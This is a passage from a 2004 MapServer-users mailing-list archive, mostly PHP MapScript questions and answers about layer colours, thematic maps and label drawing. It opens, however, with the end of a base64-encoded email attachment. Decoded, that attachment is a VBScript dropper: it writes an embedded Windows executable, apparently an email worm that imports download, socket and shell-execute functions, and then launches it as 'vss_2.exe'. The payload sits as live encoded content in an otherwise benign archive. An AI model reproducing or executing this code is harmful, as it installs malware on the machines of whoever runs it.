MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDIsMCwzLDAs
MCwwLDMyLDAsMCwxMjgsMTQsMCwwLDAsOTYsMCwwLDEyOCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMSwwLDEsMCwwLDAsNTYsMCwwLDEyOCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMSwwLDAsMCwwLDAsODAsMCwwLDAsMTY0LDI0MCwwLDAsMjMyLDIsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMSwwLDEsMCwwLDAsMTIw
LDAsMCwxMjgsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDEsMCwwLDAsMCwwLDE0NCww
LDAsMCwxNDQsMjQzLDAsMCwyMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTYwLDE5MiwwLDAs
NDAsMCwwLDAsMzIsMCwwLDAsNjQsMCwwLDAsMSwwLDQsMCwwLDAsMCwwLDEyOCwyLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDEyOCwwLDAsMTI4
LDAsMCwwLDEyOCwxMjgsMCwxMjgsMCwwLDAsMTI4LDAsMTI4LDAsMTI4LDEyOCwwLDAsMTI4
LDEyOCwxMjgsMCwxOTIsMTkyLDE5MiwwLDAsMCwyNTUsMCwwLDI1NSwwLDAsMCwyNTUsMjU1
LDAsMjU1LDAsMCwwLDI1NSwwLDI1NSwwLDI1NSwyNTUsMCwwLDI1NSwyNTUsMjU1LDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCw3LDExOSwxMTksMTE5LDExOSwxMTksMTE5LDAsMCwwLDAsMCwwLDAsMCww
LDcsMTM2LDEzNiwxMzYsMTM2LDEzNiwxMzUsMCwwLDAsMCwwLDAsMCwwLDAsNyw1NiwxMzYs
NTEsNTYsMTM2LDU1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTc5LDEzMSwwLDMsMTMxLDEzNSww
LDAsMCwwLDAsMCwwLDAsMCw3LDI1NSw0OCwyNTUsMTc2LDU2LDEzNSwwLDAsMCwwLDAsMCww
LDAsMCw3LDE4NCwxNSwxOTEsMjU1LDMsMTM1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTI4LDE5
MSwyNTUsMTkxLDI0MCw1NSwwLDAsMCwwLDAsMCwwLDAsMCw3LDE1LDI1NSwxOTEsMjU1LDE5
MSwzLDAsMCwwLDAsMCwwLDAsMCwwLDcsMjU1LDE5MSwyNTUsMTkxLDI1NSwxNzYsMCwwLDAs
MCwwLDAsMCwwLDAsNywxMTksMTE5LDExOSwxMTksMTE5LDExOSwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwyNTUsMjU1LDI1
NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs
MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1
NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs
MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1
NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs
MjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgs
MSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEy
OCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUs
MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMTM2LDE5
NSwwLDAsMCwwLDEsMCwxLDAsMzIsMzIsMTYsMCwxLDAsNCwwLDIzMiwyLDAsMCwxLDAsMCww
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMjE2LDI0NCwwLDAsMTI4LDI0NCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsMjI5LDI0NCwwLDAsMTQ0LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMjQyLDI0NCwwLDAsMTUyLDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
LDAsMjUyLDI0NCwwLDAsMTYwLDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNiwy
NDUsMCwwLDE2OCwyNDQsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE4LDI0NSwwLDAs
MTc2LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMzAsMjQ1LDAsMCwxODQsMjQ0
LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw0MSwyNDUsMCwwLDE5MiwyNDQsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDUyLDI0NSwwLDAsMjAwLDI0NCwwLDAsMCwwLDAsMCww
LDAsMCwwLDAsMCwwLDAsNjQsMjQ1LDAsMCwyMDgsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNzYsMjQ1LDAsMCw5MCwyNDUsMCwwLDEwNiwyNDUs
MCwwLDAsMCwwLDAsMTIwLDI0NSwwLDAsMCwwLDAsMCwxMzQsMjQ1LDAsMCwwLDAsMCwwLDE0
NCwyNDUsMCwwLDAsMCwwLDAsMTU4LDI0NSwwLDAsMCwwLDAsMCwxNzQsMjQ1LDAsMCwwLDAs
MCwwLDE4NCwyNDUsMCwwLDAsMCwwLDAsMjA0LDI0NSwwLDAsMCwwLDAsMCwyMTYsMjQ1LDAs
MCwwLDAsMCwwLDIzMiwyNDUsMCwwLDAsMCwwLDAsNzUsNjksODIsNzgsNjksNzYsNTEsNTAs
NDYsNjgsNzYsNzYsMCw5NywxMDAsMTE4LDk3LDExMiwxMDUsNTEsNTAsNDYsMTAwLDEwOCwx
MDgsMCwxMDMsMTAwLDEwNSw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDExMSwxMDgsMTAxLDUx
LDUwLDQ2LDEwMCwxMDgsMTA4LDAsODMsNzIsNjksNzYsNzYsNTEsNTAsNDYsMTAwLDEwOCwx
MDgsMCwxMTUsMTA0LDEwOCwxMTksOTcsMTEyLDEwNSw0NiwxMDAsMTA4LDEwOCwwLDExNywx
MTQsMTA4LDEwOSwxMTEsMTEwLDQ2LDEwMCwxMDgsMTA4LDAsMTE3LDExNSwxMDEsMTE0LDUx
LDUwLDQ2LDEwMCwxMDgsMTA4LDAsMTE5LDEwNSwxMTAsMTA1LDExMCwxMDEsMTE2LDQ2LDEw
MCwxMDgsMTA4LDAsMTE5LDExNSwxMTEsOTksMTA3LDUxLDUwLDQ2LDEwMCwxMDgsMTA4LDAs
MCwwLDc2LDExMSw5NywxMDAsNzYsMTA1LDk4LDExNCw5NywxMTQsMTIxLDY1LDAsMCw3MSwx
MDEsMTE2LDgwLDExNCwxMTEsOTksNjUsMTAwLDEwMCwxMTQsMTAxLDExNSwxMTUsMCwwLDY5
LDEyMCwxMDUsMTE2LDgwLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMCwwLDAsODIsMTAxLDEw
Myw2NywxMDgsMTExLDExNSwxMDEsNzUsMTAxLDEyMSwwLDAsMCw2OCwxMDEsMTA4LDEwMSwx
MTYsMTAxLDY4LDY3LDAsMCw2NywxMTEsNzMsMTEwLDEwNSwxMTYsMTA1LDk3LDEwOCwxMDUs
MTIyLDEwMSwwLDAsODMsMTA0LDEwMSwxMDgsMTA4LDY5LDEyMCwxMDEsOTksMTE3LDExNiwx
MDEsNjUsMCwwLDAsODMsMTE2LDExNCw2OCwxMTcsMTEyLDY1LDAsMCwwLDg1LDgyLDc2LDY4
LDExMSwxMTksMTEwLDEwOCwxMTEsOTcsMTAwLDg0LDExMSw3MCwxMDUsMTA4LDEwMSw2NSww
LDAsMTE5LDExNSwxMTIsMTE0LDEwNSwxMTAsMTE2LDEwMiw2NSwwLDAsMCw3MywxMTAsMTE2
LDEwMSwxMTQsMTEwLDEwMSwxMTYsNzksMTEyLDEwMSwxMTAsNjUsMCwwLDAsOTgsMTA1LDEx
MCwxMDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsOTAsMTIzLDEyNyw0
MSw5NSw4NywxNTcsOTYsMTkwLDEzNywxMzAsNTIsNzcsNzUsMTM3LDEwOCwxNzYsMTE5LDIz
LDE2Miw4OCwxMDksMTY0LDE4OSwxNDgsMTA4LDE2NSw3MiwxMjcsNTUsMzAsMjcsMTE0LDEx
LDU4LDE3OCwxMDEsMjYsMzcsMTg5LDE0MiwxNTMsMTYyLDE4MiwzMiw4Myw4NCwxODMsNjgs
MTE2LDE4NSwyLDEwNCwxMjcsNzQsNDcsMTE3LDEzMSw2MCwxNTEsMjEsMTgwLDk1LDE3OCwz
NSw5OSw4NywxNjAsNDQsMTQ5LDQ1LDE4MSwxNDAsNjgsOTAsNTYsMTEsMzQsMTAsMzksMTEy
LDE1NiwxOTcsMzgsMTUzLDE3MCwxNzAsNzksNDQsNTgsNjgsMTA3LDgwLDE1Niw0OSw1Niw1
MSwxNyw0MCwzNCwxODUsMTQ3LDE5NywxNDQsMTU0LDgyLDY5LDEyMiwxMDAsMTgxLDE3Miwx
ODYsMTIyLDEzOSwyMywxMjAsMTkwLDg4LDc1LDE2OSwxODEsNTAsMTM1LDEzNSwyMSwxNjAs
NjksMTEwLDE1NCwxODAsOTYsMTA3LDIyLDE1NiwxNDgsMTA5LDEyNCwyOCwxMzIsMiwxNjMs
NjQsMTQyLDE5MSw4LDgxLDgyLDYyLDE4NSwxMCwxMzgsODMsNTgsMjUsMTg3LDE5MywxMzks
MjYsMTEyLDk0LDU1LDk0LDE5OCw3LDE4MCwyMCwxNDksMTk4LDE5Niw0OCwxNzUsMTgsMTQ2
LDkxLDkxLDg2LDg4LDE2LDYxLDEzNSwxLDU0LDE3OSwxMDYsNDksMTYxLDI3LDEzNiw0NCwx
NzEsMTksMTM0LDEyOCwxMSw2MSw4OSwyOSwzMCw1NSwxMTYsNCwxOTEsNTgsMSwxNjUsMTA2
LDE0OCw5NSw0OSwxMDQsMTA3LDMyLDE3MywxNjQsNiwxNDAsODQsNDIsMTU4LDk4LDk1LDE1
OCwxMTAsMjEsNjgsOTYsMjUsMTExLDE1MCwxNzIsODcsOCw5MCw3OSw2MSwxNTksMTMsNTYs
NjcsNzMsNzcsMTY1LDAsOTAsNzksMTM3LDI5LDE5Niw4NSw5MSw5Niw4LDg5LDE1OCwzMCwx
MTIsMTc4LDE1LDE2MSwxMzEsMjUsMjcsNSw2OCwxOCwxMjksMTQyLDE5MSwxNzksMTQ5LDEw
NSwzMSw5MSw5MCwxNDEsMTY0LDcyLDM1LDQsMTYwLDExMSw0MCwxNTIsMTIsMjAsMjksMTI4
LDg5LDEwMywxNDIsMTQ1LDE1OSwxMzMsNzcsOTIsOTMsMTIwLDExOSw4LDEzMywxOTAsOTAs
MjAsODUsMTY2LDE5MiwxMjYsMTc4LDEzNyw2NiwxNzQsMTc1LDEyMCw3NywxMDEsMTgzLDE5
MCwyNSwxOTgsMTgyLDI0LDE2OCw0MSwxNDQsNzUsNTgsNTYsMTMyLDg5LDgzLDUzLDE4LDE4
LDQyLDUzLDM1LDk0LDE0NCw3MiwxMDcsMTkyLDEwMiwxNzIsMTI2LDEwNywxNjgsMTI0LDE4
LDk3LDE3NywxOTQsNzIsMjUsNjksNTYsMTc0LDMyLDEyMSwxOTIsMTkyLDY3LDE3LDEyMyw0
NywxMzEsMTY2LDEwOCw1LDE4Miw3Myw2NywxMDYsMjgsMTY0LDczLDE1NCwxNzUsMTI4LDQ4
LDI0LDUzLDEzOCw2MSwxODMsNDEsMTEwLDcyLDY4LDIxLDI5LDE1NSwzMSwxMjIsMTYxLDEy
LDEyNywxODQsMTgsMTcsMTEsNjQsMTM4LDY0LDE1NiwxOTAsMTEsMTE0LDEyOCwzMSwyMCwx
MjYsMTQ0LDUyLDEzMyw2MiwxNjIsMTA2LDE2OSwxNjksNzUsMTQ1LDg2LDEzNiwzNSwxOTYs
NjUsNSwzMSwxNjAsNTYsMTgyLDM5LDQ3LDg1LDE4Niw0OCw1NiwzMSw5NCwxNTIsMTA4LDEy
LDE4Miw3OCwxMzgsNjUsMTgwLDEwOCwxMTksNjUsMTEzLDUyLDEwOSwzMCwxMSwxOTgsMyw3
OSwxMDAsMTM4LDE2NCwzNCwxMTMsMTMzLDE0Nyw5Myw4OCwxOTYsNTcsMTY2LDEwLDEyMiw4
OCwxMTcsMjIsMjYsMTI2LDcxLDY5LDIxLDE1Nyw1MCw1NiwzMCwxMjIsNDIsMTQ1LDE5Miw1
NiwxODIsNzcsMTc0LDYyLDY5LDE2LDg4LDgxLDE4NywxMCwxNjAsOTksMTgyLDE5NSwxMTQs
OCwyNiw2NSwxNDQsODQsNzcsNDcsMjksNDEsMzEsMiw4NCwxMTEsOTAsMTE1LDE4MCwxMTUs
MTY5LDE5OCwyLDUsMjIsNTMsNDAsMTYzLDcyLDE0Miw2NiwxNTgsMTk0LDU5LDMsMTUyLDQx
LDExMCwxODYsMTUyLDcxLDUxLDYyLDE0NiwxOTcsNTMsMjYsOTIsMTczLDI3LDUzLDEzNSwx
MTAsNTYsMzEsMTgyLDExMSwzNiw1MiwxMjAsMTU4LDk4LDY1LDcxLDE3Myw4NSwxMTIsMTA5
LDcwLDY0LDQ1LDE2NSwzNiwxMjEsMTMzLDgsOTMsNDksNzgsMTI1LDYwLDI3LDIwLDQzLDE5
NiwxNTMsMTUzLDc1LDEyMSw5OSwxODMsNDIsMTgyLDE2MiwyOSwyMiwzMSwxNjUsMTM2LDY3
LDE2OSwxMDIsOTQsMTIsNTMsOTUsMTg3LDEyOSw1NCwyOSwxNTIsNTcsMTI3LDE2OCwzOCw4
Miw1NSwxNDEsOSw3OSwxMzYsMTQwLDcxLDU4LDEsMTU5LDE2NSwxMSw2NCw1MCwxODcsMTcw
LDgxLDE3OCwxOTAsNDMsMTIxLDE4NSwxNDIsNDUsNTUsMTQ1LDE1MCwxNzgsMTI3LDg4LDY5
LDEyMCwxMjUsNzUsMTgxLDQwLDE5MywxMDQsNTgsMTgsMTM0LDg2LDEyNiwxOTQsMTEsMTgx
LDY0LDEwMiwxNjUsNjMsMTg5LDU0LDI5LDEzMiw2NSw1MSwxNzAsNzEsMzIsMTkxLDQwLDEw
Nyw5MSwxNDEsMzMsNDAsMTY4LDEzMiwxNTUsMTg3LDc3LDIxLDE2OCwzMCwxNDEsMTYzLDEx
MSw4Miw5OCwxMjQsODksMTI2LDQwLDE5NiwxODgsNDgsMTAxLDE1Nyw2OCwyMiwxMzQsMjks
MTcyLDEzNSw4NCwxNTgsMTIwLDE1Nyw1OCwxNTgsMTg0LDM5LDk4LDE4OCwxNjYsODMsMTUx
LDE4NCw3OCwxMzIsMTI0LDExMCw0MCw0MCwxNDIsMTE4LDE3MCw3NSw3OSw4NiwxMzYsMTc4
LDM4LDM5LDUwLDU5LDE3NCw5MSwxLDE2LDE0NSwxMDIsMTExLDE1NiwxMjIsOTAsNTQsMTAx
LDgxLDk2LDQzLDMzLDE5OCwxMjQsMTUyLDE5MiwxMywxOTcsMTE4LDY0LDE5Nyw3NCw0MSw5
NSw3OCw4OCwxODMsMTksNzYsMTY4LDcxLDE2MSwxODAsNjksMTkxLDEwMiwxMDksMTA1LDcx
LDEwNiwxNTIsNjMsMTUwLDQ1LDQ3LDYyLDEwNSwxNDEsMTgyLDE4OCwxNTEsMTM4LDEwNCw3
NCwxODAsMTc5LDI3LDQzLDE1NCw0OCwxMzIsOCwxMzUsODIsMTQ0LDE5Miw2MywxNDgsMTg2
LDI1LDEzNSwyNiw1MiwxMTcsMTksMjksOTcsMTA5LDE4MSwxOTgsMTM5LDE2OSw2LDE0Miw5
OSwxOTcsMTgwLDE4OSw1NCwxMzMsMTI5LDEyNCwxNDcsNTgsMTQ3LDE1MCwxNTEsMTY3LDEz
MSw4LDI2LDUyLDEwMSw1OCwxNDQsMTIxLDE3NSwxMjAsMTUyLDE5OCw4Nyw4NiwxNzcsMTMw
LDEzMiw3NSw5NCwxMzUsMTYsMzMsOTMsMzgsMTQzLDE4MywxNjMsMTU4LDM3LDM0LDUzLDE3
MCwyMywyMCwyOCwxNzcsMTAzLDEwNiw2OCw5Niw5MywxMDksMTk4LDEwMiw5MSwxNjMsMTAy
LDEyNiwxODcsMTQ3LDU5LDI1LDY1LDYzLDM1LDE1LDE1NywxMTcsNjcsOSwxMDksMTAxLDE1
MSwxOTksODUsODAsMTA3LDgyLDE5MSwyLDE3OSw4MCwzNSwxNCwxMDUsNDgsMTUyLDk1LDg1
LDM5LDE3LDE1MCwxMzUsMzIsNzAsMjQsOTksMTIzLDI5LDc2LDEyOSwzNCwxMjYsMTQwLDIy
LDExNCw0Miw2NiwxMywxNSwxMTIsMTI1LDkxLDMyLDM5LDczLDEyOCwyMSwxNTcsMTUzLDE4
NiwxNjksMTA1LDE3OSwxOTcsNzAsNTYsNzEsMTUyLDM0LDEzMyw3MSwxMTUsMjksMzQsMTMy
LDEyLDE4NSwxMjgsNTUsMTQ5LDE3MCwyNCw5NywxMTEsMTAxLDY5LDEzMCw4MSw0Myw4NCw2
Miw2NywyNywxNjQsMzUsMTIyLDExMSw1NCw4MCwxOTEsMzEsMjAsNTYsMTgsMTMyLDkwLDE2
NiwyNCwyLDE3NSwxNDAsNSwyMCw2MSwxNjMsMTYwLDE5Myw0Miw1MiwxNzgsNTksMzksNiw1
MSwxNjMsMjMsMjIsOTAsMTI3LDE0NCw2MCwxNDksMTE5LDE1MywxNDksMTEzLDUsODIsMjYs
MTg0LDEyNCwxMzEsODUsMTc4LDE2OCwxMDcsOSwxMTYsMTAxLDIsMTE0LDE4MCwxMjQsMTM1
LDE2NSw4MiwxODgsMTQxLDEyMCwzOSwyMiwxMDgsMTY4LDQ1LDk5LDc3LDE2OSw3NCw3MCwx
MTYsMTI2LDgzLDEyMiwxMjMsMTM3LDYxLDE4LDE1OSwyNSwxNjYsMTUzLDg5LDQyLDg0LDMz
LDcyLDEzNiwyNiwxMzIsMTMxLDE5MywxMywxODgsODQsOTIsMTM2LDM4LDUyLDE5MSwxMTUs
NjAsMjAsNTQsMTk5LDE5LDEzNSwxNjYsMTUxLDE2MywxODYsMTIyLDE3MywzMCwyOCwxNTEs
MjIsNzIsMTIzLDE0Myw5NCwxNywzMywxMCwxNzYsMTYyLDI5LDM2LDM4LDEyMiwxMTAsMyw3
NywyNiw1LDgzLDQxLDE2LDE5LDEzNiwxMjYsNDYsNTgsMTQsMTA5LDY4LDE4MSw0OCwxNTYs
NzYsMTMxLDcyLDE5MSwxMjEsMTc4LDEwNiwxOCw3NSwxMDkpDQpmb3IgaT0wIHRvIDIxMTIx
DQpmaWxldHh0LldyaXRlKGNocihhKGkpKSkNCm5leHQNCmZpbGV0eHQuQ2xvc2UNCmRpbSB6
DQpkaW0genoNCkNvbnN0IEZvclJlYWRpbmcgPSAxLCBGb3JXcml0aW5nID0gMiwgRm9yQXBw
ZW5kaW5nID0gMw0KY29uc3QgUmVtb3RlRXhlID0gInZzc18yLmV4ZSINCnNldCB6eiA9IHdz
Y3JpcHQuY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCnogPSB6ei5ydW4gKCJ2c3Nf
Mi5leGUiKQ0Kd3NjcmlwdC5xdWl0DQo=
----------jmqynpznixdnldhblqep--
From samuzzal@linux.net Tue May 4 05:27:18 2004
From: samuzzal@linux.net (Sam Choudry)
Date: Mon, 3 May 2004 21:27:18 -0700 (PDT)
Subject: [Mapserver-users] Coloring Problem
Message-ID: <20040504042718.E1C017267@sitemail.everyone.net>
Hello,
Here is the same old problem still not solved. I want to change the
color of my area layer "nal-blk" according to user input. For that I am
using the code:
if($r!='' && $g!='' && $b!='')
{
$layer = $map->getlayerbyname("nal-blks");
$class = $layer->getclass(0);
$layer->open($map->shapepath);
$index = findindex($r,$g,$b);
$class->set('color',index);
}
I am using a function I received from one of the list members,
function findindex($r,$g,$b)
{
GLOBAL $map;
$r1=(int) $r;
$g1=(int) $g;
$b1=(int) $b;
for($i=-10;$i<0;$i++)
{
$col=$map->getColorByIndex($i);
$tr=$col->red;
$tg=$col->green;
$tb=$col->blue;
if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb))
{
$in=$i;
break;
}
}
$in=$in+1;
return($in);
}
The Error message are :
Warning: Wrong parameter count for open() in
c:\inetpub\wwwroot\php\nalbari.php on line 21
Fatal error: Property 'color' does not exist in this object.
in c:\inetpub\wwwroot\php\nalbari.php on line 23
The Map File snippet is also provided:
LAYER #DISTRICT BLOCKS#
NAME "nal-blks"
DATA nal-blks
STATUS ON
TYPE POLYGON
CLASS
NAME '0'
COLOR 219 250 253
OUTLINECOLOR 154 181 250
END
END
What can be the possile solution to this? Regards,
Samuzzal
_____________________________________________________________
Linux.Net -->Open Source to everyone
Powered by Linare Corporation
http://www.linare.com/
From siki@agt.bme.hu Tue May 4 09:42:48 2004
From: siki@agt.bme.hu (Siki Zoltan)
Date: Tue, 4 May 2004 07:42:48 -0100 (GMT+1)
Subject: [Mapserver-users] Lines between points and polygon colors
{Scanned} {Scanned}
In-Reply-To: <6.0.1.1.2.20040503000112.027b2340@resellmo.com>
Message-ID:
Hi,
On Mon, 3 May 2004, K Resellmo wrote:
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi,
>
> I have two questions about MapServer features:
>
> 1. Is it possible to use the MapServer symbol capabilities to draw lines
> between points? I have several sets of points that I would like to display
> using both a graphic to mark the point, and a line to connect the points.
>
I think not, you need two separate layer/shape to display points and
lines. The graphical object type is defined in the GIS data set.
> 2. Can I display polygons in different colors? (like a political map with
> different colors for different countries)
Yes, you can create tematic maps based on attribute data.
See CLASS in map file reference.
Bye
Zoltan
>
> Thanks for your time!
>
> Kris
> -----BEGIN PGP SIGNATURE-----
> Version: PGP 8.0.2
>
> iQA/AwUBQJb8Kp4XWyzLnsoNEQJe8QCfcznektK5ltIgL9EnBBiBKj62isgAoNUY
> bkWw9Bc97Xwdk2e+dXWNp1jf
> =cBPQ
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From norbert.thieme@ilmenau.baw.de Tue May 4 08:23:07 2004
From: norbert.thieme@ilmenau.baw.de (Norbert Thieme)
Date: Tue, 04 May 2004 09:23:07 +0200
Subject: [Mapserver-users] Coloring Problem
In-Reply-To: <20040504042718.E1C017267@sitemail.everyone.net>
References: <20040504042718.E1C017267@sitemail.everyone.net>
Message-ID: <409744DB.4020209@ilmenau.baw.de>
Sam Choudry schrieb:
> Hello,
>
> Here is the same old problem still not solved. I want to change the
> color of my area layer "nal-blk" according to user input. For that I am
> using the code:
>
> if($r!='' && $g!='' && $b!='')
> {
> $layer = $map->getlayerbyname("nal-blks");
> $class = $layer->getclass(0);
> $layer->open($map->shapepath);
> $index = findindex($r,$g,$b);
> $class->set('color',index);
> }
>
>
>
> I am using a function I received from one of the list members,
>
> function findindex($r,$g,$b)
> {
> GLOBAL $map;
>
> $r1=(int) $r;
> $g1=(int) $g;
> $b1=(int) $b;
>
> for($i=-10;$i<0;$i++)
> {
> $col=$map->getColorByIndex($i);
>
> $tr=$col->red;
> $tg=$col->green;
> $tb=$col->blue;
>
> if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb))
> {
> $in=$i;
> break;
> }
> }
> $in=$in+1;
> return($in);
> }
>
>
> The Error message are :
> Warning: Wrong parameter count for open() in
> c:\inetpub\wwwroot\php\nalbari.php on line 21
>
Hi,
The layer->open() function don't except any paramters I think so simply
leave it empty.
> Fatal error: Property 'color' does not exist in this object.
> in c:\inetpub\wwwroot\php\nalbari.php on line 23
>
The next message say that there is no color in the class-object. So you
can't change it and I just had a look in the mapscript docs - there seem
to be no color-object. If I don't have missed something there will be no
way to change that but I think there should be one.
I hope someone more experienced knows a workaround or can point us to
the right objects/functions or docs.
Regards,
Norbert
>
> The Map File snippet is also provided:
>
> LAYER #DISTRICT BLOCKS#
> NAME "nal-blks"
> DATA nal-blks
> STATUS ON
> TYPE POLYGON
> CLASS
> NAME '0'
> COLOR 219 250 253
> OUTLINECOLOR 154 181 250
> END
> END
>
> What can be the possile solution to this? Regards,
>
> Samuzzal
>
>
> _____________________________________________________________
> Linux.Net -->Open Source to everyone
> Powered by Linare Corporation
> http://www.linare.com/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From publiek@home.nl Tue May 4 08:56:36 2004
From: publiek@home.nl (publiek@home.nl)
Date: Tue, 4 May 2004 9:56:36 +0200
Subject: [Mapserver-users] Using itasci rubber band in php
Message-ID: <200405040756.i447uqFS000116@lists.gis.umn.edu>
I am trying to rewrite the itasca example (javascript with dhtml rubber band box) to php.
What i want is to let the dbox javascript thing communicate with my php functions.
Am i doing something that is possible? Or should i use something else for the rubber band selection?
Any ideas are welcome.
Thanks,
Marcel
From publiek@home.nl Tue May 4 08:59:13 2004
From: publiek@home.nl (publiek@home.nl)
Date: Tue, 4 May 2004 9:59:13 +0200
Subject: [Mapserver-users] drawing layers with labels using php
Message-ID: <200405040759.i447xVFS000158@lists.gis.umn.edu>
Hello,
How do i draw layers that consist of labels?
I get a blank image.
Using php mapscript functions draw, saveWebimage.
What in the world am i missing?
Thanks.
Marcel
From norbert.thieme@ilmenau.baw.de Tue May 4 09:20:16 2004
From: norbert.thieme@ilmenau.baw.de (Norbert Thieme)
Date: Tue, 04 May 2004 10:20:16 +0200
Subject: [Mapserver-users] Which is better: PHPMapScript query engine
or PHP dBase functions?
In-Reply-To: <614FCE5F14A6D41180C200010240D6A25DC094@LINNMS>
References: <614FCE5F14A6D41180C200010240D6A25DC094@LINNMS>
Message-ID: <40975240.6090501@ilmenau.baw.de>
Ryan, Adam schrieb:
> Eduardo,
>
> I might be off track but...
>
